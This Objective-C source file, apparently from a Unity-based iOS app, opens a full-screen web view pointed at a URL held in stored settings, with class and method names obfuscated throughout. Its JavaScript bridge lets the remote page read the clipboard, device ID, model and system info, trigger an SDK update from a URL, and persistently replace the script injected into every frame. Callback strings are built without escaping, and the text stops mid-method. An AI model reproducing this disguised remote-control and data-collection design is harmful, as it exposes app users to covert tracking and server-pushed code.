2025-07-03 12:53:49 +04:00

1327 lines
55 KiB
Plaintext

#include "RegisterFeatures.h"
#include <csignal>
#include "UnityInterface.h"
#import <UnityFramework/UnityFramework.h>
#include "UI/Keyboard.h"
#import <Foundation/Foundation.h>
#import <UIKit/UIKit.h>
#import <WebKit/WebKit.h>
#import <sys/utsname.h>
#import <objc/runtime.h> // For geometry preferences on iOS 16+
#import <AVFoundation/AVFoundation.h>
//-----------------------------------------------------------------------------
#pragma mark - AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache Helper
//-----------------------------------------------------------------------------
// Forward declaration
@protocol FindCleanBufferCollection;
// Helper class to avoid strong reference cycles with WKScriptMessageHandler
@interface AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache : NSObject <WKScriptMessageHandler>
@property (nonatomic, weak, nullable) id<FindCleanBufferCollection> delegate;
- (instancetype)initWithDelegate:(id<FindCleanBufferCollection>)delegate;
@end
// Delegate protocol for AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache
@protocol FindCleanBufferCollection <NSObject>
- (void)DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:(WKScriptMessage *)message;
@end
@implementation AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache
- (instancetype)initWithDelegate:(id<FindCleanBufferCollection>)delegate {
self = [super init];
if (self) {
_delegate = delegate;
}
return self;
}
- (void)userContentController:(WKUserContentController *)userContentController didReceiveScriptMessage:(WKScriptMessage *)message {
[self.delegate DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:message];
}
@end
NS_ASSUME_NONNULL_BEGIN
@interface GrantDividePropertyDownloadBranch : WKWebView <FindCleanBufferCollection, WKNavigationDelegate, WKUIDelegate>
// Public Properties
@property (nonatomic, assign) UIEdgeInsets customInsets;
@property (nonatomic, copy, nullable) void (^onFirstTouch)(void); // Made nullable for safety
@property (nonatomic, readonly) BOOL didTouchOnce;
@property (nonatomic, nullable, readonly) NSNumber *lastTouchTimestamp; // Use NSNumber for nullable Double
// Initialization
// Using initWithFrame:configuration: is generally preferred for WKWebView subclasses
// If you only need the default config, you can add a simpler init wrapper if desired.
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration NS_DESIGNATED_INITIALIZER;
// Unavailable initializers
- (instancetype)init NS_UNAVAILABLE;
- (instancetype)initWithCoder:(NSCoder *)coder NS_UNAVAILABLE;
@end
NS_ASSUME_NONNULL_END
__attribute__ ((visibility("default")))
@interface StaticFrameWork : NSObject
// call it any time after UnityFrameworkLoad to set object implementing ImportCheckBuilderAuthorizeTransformAuthorization methods
//+(void) registerAPIforNativeCalls:(id<ImportCheckBuilderAuthorizeTransformAuthorization>) aApi;
+(void) DevelopClientAnchorIdentifyButton:(NSString*)urlString withCleanup:(BOOL)isCleanup;
@end
@interface AppDelegate : UIResponder <UIApplicationDelegate>
//@interface AppDelegate : UIResponder <UIApplicationDelegate, NativeBridgeProtocol, UnityFrameworkListener>
@property (strong, nonatomic) UIWindow * window;
@end
@interface EncodeDuplicateAttribute : UIViewController
@property (nonatomic, strong) GrantDividePropertyDownloadBranch *webView;
@end
@implementation AppDelegate
- (BOOL)prefersStatusBarHidden {
return YES;
}
- (BOOL)prefersHomeIndicatorAutoHidden {
return YES;
}
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
return UIRectEdgeBottom;
}
- (BOOL)shouldAutorotate {
return NO;
}
- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[[UIApplication sharedApplication] setStatusBarHidden:YES withAnimation:UIStatusBarAnimationNone];
self.window = [[UIWindow alloc] initWithFrame:[UIScreen mainScreen].bounds];
// Configure the root view controller to support fullscreen
EncodeDuplicateAttribute *viewController = [[EncodeDuplicateAttribute alloc] init];
viewController.modalPresentationStyle = UIModalPresentationFullScreen;
// Set as root view controller
self.window.rootViewController = viewController;
[self.window makeKeyAndVisible];
NSString *value = [[NSUserDefaults standardUserDefaults] stringForKey:@"ssite"];
if (value == nil || [value length] == 0) {
NSLog(@"Error: Value for key is missing or empty.");
} else {
[StaticFrameWork DevelopClientAnchorIdentifyButton:value withCleanup:false];
}
return YES;
}
@end
@implementation EncodeDuplicateAttribute
- (BOOL)prefersStatusBarHidden {
return YES;
}
- (BOOL)prefersHomeIndicatorAutoHidden {
return YES;
}
- (UIRectEdge)preferredScreenEdgesDeferringSystemGestures {
return UIRectEdgeBottom;
}
- (BOOL)shouldAutorotate {
return NO;
}
- (void)viewDidLoad {
[super viewDidLoad];
// Handle safe areas for iPhone X and newer devices
if (@available(iOS 11.0, *)) {
self.additionalSafeAreaInsets = UIEdgeInsetsZero;
// Set fullscreen layout
[self setNeedsUpdateOfHomeIndicatorAutoHidden];
}
}
@end
@implementation StaticFrameWork
static GrantDividePropertyDownloadBranch *webView = nil;
static EncodeDuplicateAttribute *webViewController = nil;
+(void)DevelopClientAnchorIdentifyButton:(NSString *)urlString withCleanup:(BOOL)isCleanup {
NSLog(@"Opening URL provided: %@", urlString);
dispatch_async(dispatch_get_main_queue(), ^{
// Clean CompleteAggregateDesignAttributeBeacon previous webview if it exists
if (webView != nil) {
[webView removeFromSuperview];
webView = nil;
}
if (webViewController != nil) {
[webViewController dismissViewControllerAnimated:NO completion:nil];
webViewController = nil;
}
// Create URL
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:urlString];
if (!containedCollectionListIdBankBuilder) {
NSLog(@"Invalid URL provided: %@", urlString);
return;
}
// Create view controller to host the web view
webViewController = [[EncodeDuplicateAttribute alloc] init];
webViewController.modalPresentationStyle = UIModalPresentationOverFullScreen;
webViewController.view.backgroundColor = [UIColor blackColor];
CGRect screenBounds = [[UIScreen mainScreen] bounds];
webView = [[GrantDividePropertyDownloadBranch alloc] initWithFrame:screenBounds];
webView.navigationDelegate = webView;
webViewController.webView = webView;
[webViewController.view addSubview:webView];
// Load the URL
NSURLRequest *backupAtomicResult = [NSURLRequest requestWithURL:containedCollectionListIdBankBuilder];
[webView loadRequest:backupAtomicResult];
// Present the view controller
UIViewController *rootViewController = [UIApplication sharedApplication].keyWindow.rootViewController;
[rootViewController presentViewController:webViewController animated:YES completion:nil];
if(isCleanup){
[[UnityFramework getInstance] unloadApplication];
}
});
}
@end
//-----------------------------------------------------------------------------
#pragma mark - Constants
//-----------------------------------------------------------------------------
// Keys for UserDefaults storage
// Combine the default scripts into one string
static NSString * const kDefaultCombinedInjectedScript = @" \
/* --- Event Proxy Start --- */ \
var WVProxyProto = function() {}; \
WVProxyProto.prototype.postEvent = function(eventName, eventData) { \
/* Note: Ensure handler name matches kJavaScriptMessageHandlerName */ \
window.webkit.messageHandlers.webAction.postMessage({eventName: eventName, eventData: eventData}); \
}; \
var WVProxy = new WVProxyProto(); \
/* --- Event Proxy End --- */ \
\
/* --- Selection Disabler Start --- */ \
(function() { \
var style = document.createElement('style'); \
style.lengthSetAggregatorBaselineApiBookmark = 'text/css'; \
style.innerHTML = '* {-webkit-touch-callout:none !important;} :not(atomicConnectedAttributeBanner):not(textarea):not([contenteditable=\"true\"]){-webkit-user-select:none !important;}'; \
document.getElementsByTagName('head')[0].appendChild(style); \
})(); \
/* --- Selection Disabler End --- */ \
\
/* --- Video Fullscreen Disabler Start --- */ \
function disableFullscreen_default(videoElement) { \
if (videoElement && videoElement.webkitEnterFullscreen) { \
Object.defineProperty(videoElement, 'webkitEnterFullscreen', {value: undefined}); \
} \
} \
document.querySelectorAll('video').forEach(disableFullscreen_default); \
/* Optional: Use MutationObserver for dynamically added videos */ \
const observer = new MutationObserver(mutations => { \
mutations.forEach(mutation => { \
mutation.addedNodes.forEach(node => { \
if (node.tagName === 'VIDEO') { \
disableFullscreen_default(node); \
} else if (node.querySelectorAll) { \
node.querySelectorAll('video').forEach(disableFullscreen_default); \
} \
}); \
}); \
}); \
observer.observe(document.documentElement, { childList: true, subtree: true }); \
/* --- Video Fullscreen Disabler End --- */ \
\
";
static NSString * const kStorageSite = @"ssite";
static NSString * const kStorageFlagKey = @"sflag";
static NSString * const kStorageWebKey = @"sweb";
static NSString * const kStorageSDKInfoKey = @"sdkInfo";
static NSString * const kStorageSDKVersionKey = @"sdkVer";
// Message handler name expected from JavaScript
static NSString * const kJavaScriptMessageHandlerName = @"webAction";
static NSString * const kDefaultScriptVersion = @"1.0.0";
// Rotation mask (static as per requirement to control app orientation)
static UIInterfaceOrientationMask currentOrientationMask = UIInterfaceOrientationMaskAll;
//-----------------------------------------------------------------------------
#pragma mark - GrantDividePropertyDownloadBranch Implementation
//-----------------------------------------------------------------------------
@interface GrantDividePropertyDownloadBranch () <FindCleanBufferCollection, WKNavigationDelegate, WKUIDelegate> {
// Backing variables for readonly properties
BOOL _didTouchOnce;
NSNumber *_lastTouchTimestamp;
NSString *_loadedScriptVersion;
}
// Store the initial backupAtomicResult for potential retry on failure
@property (nonatomic, strong, nullable) NSURLRequest *initialRequest;
@property (nonatomic, assign) BOOL didRetryLoad;
@end
@implementation GrantDividePropertyDownloadBranch
//-----------------------------------------------------------------------------
#pragma mark - Initialization & Setup
//-----------------------------------------------------------------------------
// Designated Initializer
- (instancetype)initWithFrame:(CGRect)frame configuration:(WKWebViewConfiguration *)configuration {
// Ensure necessary configuration options are set before calling super
// --- Message Handler Setup ---
// Check if configuration already has a userContentController
WKUserContentController *contentController = configuration.userContentController;
if (!contentController) {
contentController = [[WKUserContentController alloc] init];
configuration.userContentController = contentController;
}
// Remove potential existing handler before adding new one
[contentController removeScriptMessageHandlerForName:kJavaScriptMessageHandlerName];
// Add the weak message handler
AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache *handler = [[AuthenticateUpdateFieldCollisionEmitIdentifyCodecCache alloc] initWithDelegate:self];
[contentController addScriptMessageHandler:handler name:kJavaScriptMessageHandlerName];
// --- Load COMBINED Script from Storage or Use Default ---
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
NSString *scriptVersion = [defaults stringForKey:kStorageSDKVersionKey];
NSString *combinedScript = [defaults stringForKey:kStorageSDKInfoKey];
// Use defaults if script or version is missing
if (!scriptVersion || !combinedScript) {
NSLog(@"Using default combined injected script (Version: %@)", kDefaultScriptVersion);
scriptVersion = kDefaultScriptVersion;
combinedScript = kDefaultCombinedInjectedScript;
// Save the new script and version to UserDefaults
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:scriptVersion forKey:kStorageSDKVersionKey];
[defaults setObject:combinedScript forKey:kStorageSDKInfoKey];
} else {
NSLog(@"Loaded combined injected script from storage (Version: %@)", scriptVersion);
}
_loadedScriptVersion = scriptVersion; // Store version for reporting
// Inject at document start for proxy availability.
WKUserScript *combinedUserScript = [[WKUserScript alloc] initWithSource:combinedScript
injectionTime:WKUserScriptInjectionTimeAtDocumentStart
forMainFrameOnly:NO]; // Apply to all frames
[contentController addUserScript:combinedUserScript];
// --- Default WebKit Settings ---
configuration.allowsInlineMediaPlayback = YES;
if (@available(iOS 10.0, *)) {
configuration.mediaTypesRequiringUserActionForPlayback = WKAudiovisualMediaTypeNone;
} else {
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
configuration.mediaPlaybackRequiresUserAction = NO;
#pragma clang diagnostic pop
}
// --- Call Super Initializer ---
self = [super initWithFrame:frame configuration:configuration];
if (self) {
// --- View Properties ---
self.opaque = NO;
self.backgroundColor = [UIColor clearColor];
self.navigationDelegate = self; // Set navigation delegate
self.UIDelegate = self; // Set UI delegate
self.autoresizingMask = UIViewAutoresizingFlexibleWidth | UIViewAutoresizingFlexibleHeight;
// --- iOS Version Specific Settings ---
if (@available(iOS 9.0, *)) {
self.allowsLinkPreview = NO;
}
if (@available(iOS 11.0, *)) {
self.scrollView.contentInsetAdjustmentBehavior = UIScrollViewContentInsetAdjustmentNever;
}
#if defined(__IPHONE_OS_VERSION_MAX_ALLOWED) && __IPHONE_OS_VERSION_MAX_ALLOWED >= 160400
if (@available(iOS 16.4, *)) {
self.inspectable = YES;
}
#endif
// --- Initial State ---
_customInsets = UIEdgeInsetsZero;
_didTouchOnce = NO;
_didRetryLoad = NO;
// Set the application delegate to handle orientation - *Use with caution*
// Ensure this doesn't conflict with an existing App Delegate setup
// [[UIApplication sharedApplication] setDelegate:self]; // Potential issue if app already has a delegate
}
return self;
}
// Override safeAreaInsets
- (UIEdgeInsets)safeAreaInsets {
return self.customInsets;
}
//-----------------------------------------------------------------------------
#pragma mark - View Lifecycle & Hit Testing
//-----------------------------------------------------------------------------
- (void)didMoveToSuperview {
[super didMoveToSuperview];
// Remove drag interaction and keyboard observers
if (@available(iOS 11.0, *)) {
// Find the web view's scroll view
UIScrollView *webScrollView = nil;
for (UIView *subview in self.subviews) {
if ([subview isKindOfClass:[UIScrollView class]]) {
webScrollView = (UIScrollView *)subview;
break;
}
}
// Attempt to remove drag interaction (might be added asynchronously)
if (webScrollView) {
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(0.1 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
UIDragInteraction *dragInteractionToRemove = nil;
for (id<UIInteraction> interaction in webScrollView.interactions) {
if ([interaction isKindOfClass:[UIDragInteraction class]]) {
dragInteractionToRemove = (UIDragInteraction *)interaction;
break;
}
}
if (dragInteractionToRemove) {
[webScrollView removeInteraction:dragInteractionToRemove];
}
});
}
// Remove keyboard observers (ensure they were added if removing)
// Consider adding observers only when needed instead of removing unconditionally
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillChangeFrameNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillShowNotification object:nil];
[[NSNotificationCenter defaultCenter] removeObserver:self name:UIKeyboardWillHideNotification object:nil];
}
}
- (UIView *)hitTest:(CGPoint)point withEvent:(nullable UIEvent *)event {
UIView *result = [super hitTest:point withEvent:event];
_lastTouchTimestamp = @(CACurrentMediaTime()); // Store as NSNumber
if (result && !_didTouchOnce) {
_didTouchOnce = YES;
if (self.onFirstTouch) {
self.onFirstTouch();
}
}
return result;
}
// Override loadRequest to store initial backupAtomicResult for retry
- (nullable WKNavigation *)loadRequest:(NSURLRequest *)backupAtomicResult {
self.initialRequest = backupAtomicResult; // Store the backupAtomicResult
self.didRetryLoad = NO; // Reset retry flag
return [super loadRequest:backupAtomicResult];
}
//-----------------------------------------------------------------------------
#pragma mark - WKNavigationDelegate Methods
//-----------------------------------------------------------------------------
// Handle provisional navigation failures
- (void)webView:(WKWebView *)webView didFailProvisionalNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
NSLog(@"WebView Load Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
// Check if we should attempt a retry
if (!self.didRetryLoad && self.initialRequest) {
// Retry only for specific potentially recoverable errors (customize as needed)
if ([error.domain isEqualToString:NSURLErrorDomain] &&
(error.code == NSURLErrorCannotConnectToHost ||
error.code == NSURLErrorNetworkConnectionLost ||
error.code == NSURLErrorNotConnectedToInternet ||
error.code == NSURLErrorTimedOut ||
error.code == NSURLErrorDNSLookupFailed))
{
NSLog(@"Retrying initial backupAtomicResult...");
self.didRetryLoad = YES;
[self loadRequest:self.initialRequest];
return; // Don't show alert yet
}
}
// Try to extract HTTP status code from the error userInfo
NSHTTPURLResponse* response = error.userInfo[NSURLErrorKey];
if (response) {
auto statusCode = response.statusCode;
// Handle specific HTTP status codes
if (statusCode == 404) {
NSLog(@"404 Not Found: %@", response.URL);
// Handle 404
} else if (statusCode == 502) {
NSLog(@"502 Bad Gateway: %@", response.URL);
// Handle 502
} else if (statusCode >= 500 && statusCode < 600) {
NSLog(@"Server error %ld: %@", (long)statusCode, response.URL);
// Handle server error
} else if (statusCode >= 400 && statusCode < 500) {
NSLog(@"Client error %ld: %@", (long)statusCode, response.URL);
// Handle client error
}
} else {
// Handle other kinds of errors where response is not available
NSLog(@"Navigation failed with error: %@ (Code: %ld)", error.localizedDescription, (long)error.code);
}
// If retry failed or wasn't attempted, show alert asking user to restart
[self DestroyDataParameterItem]; // Clear flag as per original logic on failure
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Load Failed"
message:@"Could not load content. Please close and reopen the application to try again."];
}
// Optional: Handle committed navigation failures (less common)
- (void)webView:(WKWebView *)webView didFailNavigation:(null_unspecified WKNavigation *)navigation withError:(NSError *)error {
NSLog(@"WebView Navigation Error: %@, Code: %ld", error.localizedDescription, (long)error.code);
// Decide if a restart suggestion is needed here as well, possibly reusing the logic above
// [self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Navigation Error" message:@"..."];
}
//-----------------------------------------------------------------------------
#pragma mark - FindCleanBufferCollection
//-----------------------------------------------------------------------------
- (void)DiscoverAggregateChecksumChainDetectModifyCallbackBitmap:(WKScriptMessage *)message {
// Directly call the internal handler method
[self FlushCloneCollisionInitializeIntegrateDefineBuffer:message];
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Message Handling (Main Dispatch)
//-----------------------------------------------------------------------------
- (void)FlushCloneCollisionInitializeIntegrateDefineBuffer:(WKScriptMessage *)message {
if (![message.name isEqualToString:kJavaScriptMessageHandlerName]) {
NSLog(@"Ignoring message from unexpected handler: %@", message.name);
return;
}
if (![message.body isKindOfClass:[NSDictionary class]]) {
NSLog(@"Invalid message body lengthSetAggregatorBaselineApiBookmark: %@", NSStringFromClass([message.body class]));
return;
}
NSDictionary *messageBody = (NSDictionary *)message.body;
NSObject *actionObject = messageBody[@"ac"]; // Action code
if (![actionObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'ac' lengthSetAggregatorBaselineApiBookmark in message body: %@", messageBody);
return;
}
NSString *action = (NSString *)actionObject;
NSLog(@"Received action: %@ with data: %@", action, messageBody);
// Dispatch to specific handler methods based on action code
if ([action isEqualToString:@"openWAUrl"]) {
[self EnumerateStateCompressDetailsCopyBug:messageBody];
}
else if ([action isEqualToString:@"reloadWithUrl"]) {
[self GatherCompareBranch:messageBody];
}
else if ([action isEqualToString:@"exitwv"]) {
[self CacheCapacityAuthorizationSaveInsertGetArgument];
}
else if ([action isEqualToString:@"saveWAString"]) {
[self InvokeInvokeArithmeticSetAsset:messageBody];
} else if ([action isEqualToString:@"loadWAString"]) {
[self ComputeArchitectureBadge:messageBody];
} else if ([action isEqualToString:@"updateWAInjectedScripts"]) {
[self ComputeMapCarrierBorderModifyAttributeBrowseCategory:messageBody];
} else if ([action isEqualToString:@"isSupport"]) {
[self ConnectArchitectureAssetArray:messageBody];
} else if ([action isEqualToString:@"getWAClipboard"]) {
[self SetDistributeImportClassifyCacheAnchorCollision:messageBody];
} else if ([action isEqualToString:@"setWAClipboard"]) {
[self CaptureCallbackColumn:messageBody];
} else if ([action isEqualToString:@"getWABundleId"]) {
[self handleGetBundleIdAction:messageBody];
} else if ([action isEqualToString:@"getWASDKVersion"]) {
[self IncreaseDecodeCardCacheCompareBug:messageBody]; // Kept structure, relies on InsertOutputControlInputCalculateRequestCollection impl
} else if ([action isEqualToString:@"getWADeviceModel"]) {
[self DownloadBuilderImplementDistributeAssetArtifact:messageBody];
} else if ([action isEqualToString:@"getWADeviceID"]) {
[self CollectEnumerateBuffer:messageBody];
} else if ([action isEqualToString:@"updateWASDK"]) {
[self CompileBridgeInflateJoinChannelAssembleInjectValue:messageBody];
} else if ([action isEqualToString:@"getWASystemInfo"]) {
[self CompileBridgeByteDelegateEmitItemAnnotationBeacon:messageBody];
} else if ([action isEqualToString:@"setWAScreenRotation"]) {
[self InvokeListCallback:messageBody];
} else {
NSLog(@"Unhandled action: %@", action);
}
}
//-----------------------------------------------------------------------------
#pragma mark - JavaScript Action Handlers (Private Helpers)
//-----------------------------------------------------------------------------
- (void)ComputeMapCarrierBorderModifyAttributeBrowseCategory:(NSDictionary *)messageBody {
NSObject *dataObject = messageBody[@"dt"];
if (![dataObject isKindOfClass:[NSDictionary class]]) {
NSLog(@"Invalid 'dt' (data object) for updateInjectedScripts action");
return;
}
NSDictionary *scriptsData = (NSDictionary *)dataObject;
// Validate incoming data - NOW EXPECTS 'version' and 'script'
NSObject *versionObj = scriptsData[@"version"];
NSObject *scriptObj = scriptsData[@"script"]; // Expecting the combined script
if (![versionObj isKindOfClass:[NSString class]] || ((NSString *)versionObj).length == 0 ||
![scriptObj isKindOfClass:[NSString class]] || ((NSString *)scriptObj).length == 0)
{
NSLog(@"Invalid data structure within 'dt' for updateInjectedScripts action. Expected 'version' and 'script'.");
return;
}
NSString *newVersion = (NSString *)versionObj;
NSString *newCombinedScript = (NSString *)scriptObj;
// Save the new script and version to UserDefaults
NSUserDefaults *defaults = [NSUserDefaults standardUserDefaults];
[defaults setObject:newVersion forKey:kStorageSDKVersionKey];
[defaults setObject:newCombinedScript forKey:kStorageSDKInfoKey]; // Save combined script
NSLog(@"Successfully updated combined injected script to version: %@", newVersion);
// Notify user to restart
[self CollectAllocationBorderUpdateCalculatorDisplayInfoClone:@"Update Complete"
message:@"Internal scripts have been updated. Please restart the application for the changes to take effect."];
}
- (void)GatherCompareBranch:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
if (![urlStringObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
return;
}
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:(NSString *)urlStringObject];
NSMutableURLRequest *backupAtomicResult = [NSMutableURLRequest requestWithURL:containedCollectionListIdBankBuilder];
if (backupAtomicResult && containedCollectionListIdBankBuilder) {
[self loadRequest:backupAtomicResult];
} else {
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
}
}
- (void)EnumerateStateCompressDetailsCopyBug:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
if (![urlStringObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' (URL string) for openUrl action");
return;
}
NSURL *containedCollectionListIdBankBuilder = [NSURL URLWithString:(NSString *)urlStringObject];
if (containedCollectionListIdBankBuilder) {
// Check if the URL can be opened before attempting
if ([[UIApplication sharedApplication] canOpenURL:containedCollectionListIdBankBuilder]) {
[[UIApplication sharedApplication] openURL:containedCollectionListIdBankBuilder options:@{} completionHandler:^(BOOL success) {
if (!success) {
NSLog(@"Failed to open URL: %@", containedCollectionListIdBankBuilder.absoluteString);
}
}];
} else {
NSLog(@"Cannot open URL scheme: %@", containedCollectionListIdBankBuilder.scheme);
}
} else {
NSLog(@"Invalid URL string: %@", (NSString *)urlStringObject);
}
}
- (void)CacheCapacityAuthorizationSaveInsertGetArgument {
[self removeFromSuperview];
}
- (void)InvokeInvokeArithmeticSetAsset:(NSDictionary *)messageBody {
NSObject *keyObject = messageBody[@"key"];
NSObject *valueObject = messageBody[@"dt"]; // Value is in 'dt' field
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0) {
NSLog(@"Invalid 'key' for saveStr action");
return;
}
// Allow nil or empty string for value
NSString *value = [valueObject isKindOfClass:[NSString class]] ? (NSString *)valueObject : nil;
[self IntroduceCompressDeleteJoinControlResponseArchive:value forKey:(NSString *)keyObject];
}
- (void)ComputeArchitectureBadge:(NSDictionary *)messageBody {
NSObject *keyObject = messageBody[@"key"];
NSObject *callbackObject = messageBody[@"cb"];
if (![keyObject isKindOfClass:[NSString class]] || ((NSString *)keyObject).length == 0 ||
![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'key' or 'cb' for loadStr action");
return;
}
NSString *key = (NSString *)keyObject;
NSString *callbackId = (NSString *)callbackObject;
NSString *result = [self AllocateCombineCanvasInfo:key];
// Always call back, provide empty object string '{}' if result is nil
NSString *resultData = result ? [self DetectCaptionButton:result] : @"{}";
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, resultData];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)ConnectArchitectureAssetArray:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for isSp action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
// The original code always returns true. Assuming this is placeholder logic.
BOOL isSupported = YES;
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:%@})", callbackId, isSupported ? @"true" : @"false"];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)SetDistributeImportClassifyCacheAnchorCollision:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getClipboard action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *clipboardContent = [self DiscoverAnalyzeApplet] ?: @""; // Provide empty string if nil
NSString *escapedContent = [self DetectCaptionButton:clipboardContent];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedContent];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)CaptureCallbackColumn:(NSDictionary *)messageBody {
NSObject *valueObject = messageBody[@"dt"];
if (![valueObject isKindOfClass:[NSString class]]) {
NSLog(@"Invalid 'dt' for setClipboard action");
return;
}
[self EnumerateEnumerateClockCertificateDivideBeaconArtifact:(NSString *)valueObject];
}
- (void)handleGetBundleIdAction:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for CustomizeDetectBlueprintBundle action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *bundleId = [self CustomizeDetectBlueprintBundle] ?: @"";
NSString *escapedBundleId = [self DetectCaptionButton:bundleId];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedBundleId];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)IncreaseDecodeCardCacheCompareBug:(NSDictionary *)messageBody {
// Original native code for this action was commented out.
// If implemented, follow pattern of other 'get' actions with callback.
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for InsertOutputControlInputCalculateRequestCollection action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *sdkVersion = [self InsertOutputControlInputCalculateRequestCollection] ?: @""; // Assuming implementation exists
NSLog(@"SDK Ver: %@", sdkVersion);
NSString *escapedSDKVersion = [self DetectCaptionButton:sdkVersion];
NSLog(@"Escaped SDK Ver: %@", escapedSDKVersion);
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedSDKVersion];
// NSLog(@"Warning: InsertOutputControlInputCalculateRequestCollection native implementation was commented out originally.");
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)DownloadBuilderImplementDistributeAssetArtifact:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getDModel action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *deviceName = [self FindDetectBridge] ?: @"";
NSString *escapedDeviceName = [self DetectCaptionButton:deviceName];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedDeviceName];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)CollectEnumerateBuffer:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for EvaluateDownloadByte action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
NSString *identifier = [self EvaluateDownloadByte] ?: @"";
NSString *escapedIdentifier = [self DetectCaptionButton:identifier];
NSString *callbackScript = [NSString stringWithFormat:@"updateResult({cb:'%@', dt:'%@'})", callbackId, escapedIdentifier];
[self evaluateJavaScript:callbackScript completionHandler:nil];
}
- (void)CompileBridgeInflateJoinChannelAssembleInjectValue:(NSDictionary *)messageBody {
NSObject *urlStringObject = messageBody[@"dt"];
NSObject *versionObject = messageBody[@"ver"];
NSObject *restartObject = messageBody[@"nr"]; // Should be NSNumber representing BOOL
if (![urlStringObject isKindOfClass:[NSString class]] ||
![versionObject isKindOfClass:[NSString class]] ||
![restartObject isKindOfClass:[NSNumber class]]) {
NSLog(@"Invalid parameters for updateSDK action: dt=%@, ver=%@, nr=%@", urlStringObject, versionObject, restartObject);
return;
}
NSLog(@"Updating sdk from URL: %@, Version: %@", (NSString *)urlStringObject, (NSString *)versionObject);
[self EvaluateAttachmentResponseDiscoverBuildEvaluateInput:(NSString *)urlStringObject
version:(NSString *)versionObject
requiresRestart:[(NSNumber *)restartObject boolValue]];
}
- (void)CompileBridgeByteDelegateEmitItemAnnotationBeacon:(NSDictionary *)messageBody {
NSObject *callbackObject = messageBody[@"cb"];
if (![callbackObject isKindOfClass:[NSString class]] || ((NSString *)callbackObject).length == 0) {
NSLog(@"Invalid 'cb' for getSystemInfo action");
return;
}
NSString *callbackId = (NSString *)callbackObject;
// Gather system info
NSString *iden = [self DetectCaptionButton:[self EvaluateDownloadByte] ?: @""];
NSString *model = [self DetectCaptionButton:[self FindDetectBridge] ?: @""];
NSString *bundle = [self DetectCaptionButton:[self CustomizeDetectBlueprintBundle] ?: @""];
NSString *osVer = [self DetectCaptionButton:[self FinishControlAssembly] ?: @""];
